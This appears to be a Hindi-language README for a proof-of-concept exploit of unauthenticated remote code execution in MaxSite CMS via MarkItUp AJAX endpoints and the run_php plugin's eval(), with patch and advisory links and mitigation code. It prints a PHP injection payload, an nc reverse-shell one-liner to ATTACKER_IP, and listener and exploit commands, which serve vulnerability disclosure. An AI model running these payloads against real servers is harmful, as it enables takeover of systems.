
MaxSite CMS <= 109.1 में MarkItUp एडिटर AJAX एंडपॉइंट्स के माध्यम से बिना प्रमाणीकरण के रिमोट कोड निष्पादन के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जिसमें डिटेक्शन और रिवर्स शेल पेलोड शामिल हैं।
MaxSite CMS ≤ 109.1 में बिना प्रमाणीकरण के रिमोट कोड निष्पादन (RCE) भेद्यता।
यह दोष MarkItUp एडिटर प्लगइन के AJAX एंडपॉइंट्स में कमज़ोर प्राधिकरण जाँचों के साथ-साथ run_php प्लगइन द्वारा उपयोगकर्ता-आपूर्ति PHP कोड के असुरक्षित निष्पादन से उत्पन्न होता है।
यह भेद्यता MarkItUp एडिटर प्लगइन में निम्नलिखित फ़ाइलों को प्रभावित करती है:
preview-ajax.phpautosave-post-ajax.phpये एंडपॉइंट्स:
run_php प्लगइन में पास करते हैंeval() का उपयोग करके [php]...[/php] शॉर्टकोड निष्पादित करते हैंएक हमलावर /ajax/ रूट पर एक क्राफ्टेड POST अनुरोध भेज सकता है जिसमें data पैरामीटर के माध्यम से Base64-एन्कोडेड आंतरिक पथ और दुर्भावनापूर्ण PHP पेलोड शामिल होता है, जिसके परिणामस्वरूप:
graph TD
A["Attacker"] -->|"Malicious POST Request"| B["AJAX Endpoint"]
B -->|"Referer Spoofing"| C["preview-ajax.php"]
C -->|"Unsanitized Input"| D["run_php Plugin"]
D -->|"eval() Execution"| E["Arbitrary PHP Execution"]
E -->|"Command Execution"| F["Compromised Server"]
run_php प्लगइन सक्षम (सामान्य डिफ़ॉल्ट)eval() की अनुमति देता हैएक Python 3 प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट (exploit.py) शामिल है।
[php]echo 'RCE CONFIRMED - ' . phpversion();[/php]
[php]system('rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ATTACKER_IP ATTACKER_PORT >/tmp/f');[/php]
nc -lvnp 9001
python3 exploit.py http://target.com --lhost 10.10.14.22 --lport 9001
run_php प्लगइन अक्षम करेंभेद्य फ़ाइलों में प्रमाणीकरण जाँचें जोड़ें:
if (!is_login()) {
die('Access denied');
}
mso_checkreferer();
पैच कमिट https://github.com/maxsite/cms/commit/08937a3c5d672a242d68f53e9fccf8a748820ef3
भेद्यता प्रविष्टि https://vuldb.com/?id.348281
NVD रिकॉर्ड https://nvd.nist.gov/vuln/detail/CVE-2026-3395
यह प्रोजेक्ट निम्नलिखित के लिए प्रदान किया गया है:
⚠️ स्पष्ट अनुमति के बिना सिस्टम के विरुद्ध उपयोग न करें।
लेखक दुरुपयोग या क्षति के लिए कोई ज़िम्मेदारी नहीं लेता है।
Mohammed Idrees Banyamer जॉर्डन 🇯🇴 सुरक्षा शोधकर्ता
banyamer_security — Silent Hunter • Shadow Presence
मार्च 2026